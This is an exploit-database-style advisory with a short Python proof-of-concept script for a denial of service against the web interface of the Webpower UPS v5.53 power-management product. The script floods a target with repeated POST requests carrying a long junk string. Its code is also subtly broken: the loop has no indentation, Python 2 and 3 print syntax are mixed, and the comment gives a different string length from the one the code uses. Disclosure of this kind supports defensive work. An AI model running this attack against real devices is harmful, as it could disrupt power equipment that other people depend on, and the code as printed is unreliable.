Webpower UPS version 5.53 suffers from an HTTP denial of service vulnerability. This product stop being supported nearly 10 years ago.
f469bceea0605105d3cbe67c57d08944f6c39dfa4a407ca86cbb376fc34668be
# Exploit Title: Webpower UPS v5.53 HTTP Denial of Service
# Date: 2023-03-09
# Exploit Author: Yehia Elghaly
# Vendor Homepage: https://www.eaton.com/ae/en-gb.html
# Software Link: https://www.eaton.com/ae/en-gb.html
# Version: Revision v5.53
# Tested on: WebPower UPS
# CVE: N/A
#!/usr/bin/env python
# Webpower UPS v5.53 HTTP Denial of Service.
# Discovered BY (Yehia Elghaly)
import requests
url = 'IP_Address'
data = {'Long_string' : 'a' * 12200}# 19700-character pattern
for i in range (16):
response = requests.post(url, data=data)
print("Response {}: {}".format(i+1, response.status_code))
print "crach"